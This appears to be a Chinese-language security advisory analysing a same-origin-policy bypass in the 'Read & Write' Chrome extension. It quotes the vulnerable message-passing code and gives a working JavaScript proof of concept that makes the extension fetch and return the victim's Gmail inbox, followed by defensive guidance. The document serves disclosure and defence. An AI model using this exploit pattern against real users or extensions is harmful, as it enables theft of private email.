使用Chrome扩展程序进行同源策略绕过来读取用户的电子邮件
字数 1136 2025-08-26 22:11:35
Chrome扩展程序同源策略绕过漏洞分析与防御
漏洞概述
本文分析了一种通过Chrome扩展程序绕过同源策略(SOP)的安全漏洞,该漏洞允许恶意网页读取用户在其他网站(如Gmail)上的敏感数据。该漏洞存在于"Read & Write"谷歌扩展程序中,影响约800万用户。
技术背景
同源策略(Same-Origin Policy)
同源策略是浏览器重要的安全机制,限制来自不同源的文档或脚本如何相互交互。正常情况下,网页无法读取来自不同源的资源。
Chrome扩展程序权限模型
Chrome扩展程序拥有比普通网页更高的权限,可以:
- 访问跨域资源
- 使用特权API
- 修改浏览器行为
漏洞细节
漏洞位置
漏洞存在于"Read & Write"扩展程序的以下组件:
- 内容脚本(inject.js)
- 后台页面(background.js)
- 消息传递机制
漏洞利用链
- 内容脚本注入:
- 扩展程序将
inject.js注入所有HTTP/HTTPS页面 - 内容脚本添加了
message事件监听器
- 扩展程序将
window.addEventListener("message", this.onMessage)
- 不安全的消息处理:
onMessage函数将所有接收到的消息转发到后台页面- 缺乏对消息来源的验证
function onMessage() {
void 0 != event.source && void 0 != event.data && event.source == window && "1757FROM_PAGERW4G" == event.data.type && ("connect" == event.data.command ? chrome.extension.sendRequest(event.data, onRequest) : "ejectBar" == event.data.command ? ejectBar() : "th-closeBar" == event.data.command ? chrome.storage.sync.set({
enabledRW4GC: !1
}) : chrome.extension.sendRequest(event.data, function(e) {
window.postMessage(e, "*")
}))
}
- 危险的后台API:
- 后台页面暴露了多个特权API
thGetVoices方法允许执行任意HTTP GET请求
if ("thGetVoices" === e.method && "1757FROM_PAGERW4G" == e.type) {
if (g_voices.length > 0 && "true" !== e.payload.refresh) return void o({
method: "thGetVoices",
type: "1757FROM_BGRW4G",
payload: {
response: g_voices
}
});
var c = new XMLHttpRequest;
c.open("GET", e.payload.url, !0), c.onreadystatechange = function() {
4 == this.readyState && 200 == this.status && (g_voices = this.responseText.toString(), o({
method: "thGetVoices",
type: "1757FROM_BGRW4G",
payload: {
response: g_voices
}
}))
}, c.send()
}
漏洞利用
利用步骤
- 恶意网页构造特定格式的消息
- 通过
postMessage发送到内容脚本 - 内容脚本转发消息到后台页面
- 后台页面执行特权操作(如跨域请求)
- 响应返回给恶意网页
利用代码示例
function exploit_get(input_url) {
return new Promise(function(resolve, reject) {
var delete_callback = false;
var event_listener_callback = function(event) {
if ("data" in event && event.data.payload.response) {
window.removeEventListener("message", event_listener_callback, false);
resolve(event.data.payload.response);
}
};
window.addEventListener("message", event_listener_callback, false);
window.postMessage({
type: "1757FROM_PAGERW4G",
"method": "thGetVoices",
"payload": {
"refresh": "true",
"url": input_url
}
}, "*");
});
}
setTimeout(function() {
exploit_get("https://mail.google.com/mail/u/0/h/").then(function(response_body) {
alert("Gmail emails have been stolen!");
alert(response_body);
});
}, 1000);
其他可利用的API
thExtBGAjaxRequest- 执行任意POST请求OpenTab- 打开新标签页
防御措施
开发建议
- 严格验证消息来源:
- 检查
event.isTrusted属性 - 验证消息来源是否可信
- 检查
window.addEventListener("message", function(event) {
if (!event.isTrusted) return;
// 处理消息
});
- 最小化内容脚本权限:
- 限制内容脚本注入的范围
- 避免使用通配符匹配所有网站
"content_scripts": [
{
"matches": ["https://docs.google.com/*"],
"js": ["inject.js"]
}
]
-
实现消息白名单:
- 只允许特定的消息类型
- 验证消息结构和内容
-
避免在内容脚本中创建消息代理:
- 将核心逻辑放在后台页面
- 内容脚本只处理必要的UI交互
-
使用更安全的通信方式:
- 考虑使用
chrome.runtime.sendMessage代替postMessage - 实现双向验证机制
- 考虑使用
用户保护措施
- 定期审查已安装的扩展程序
- 只从官方商店安装扩展程序
- 移除不再使用的扩展程序
- 关注扩展程序的更新日志
总结
该漏洞展示了Chrome扩展程序在设计不当的情况下可能成为安全弱点的典型案例。开发者在设计扩展程序时应遵循最小权限原则,严格验证所有跨上下文通信。用户则应保持警惕,定期审查扩展程序权限。
该漏洞已被修复,最新版本的"Read & Write"扩展程序不再受影响。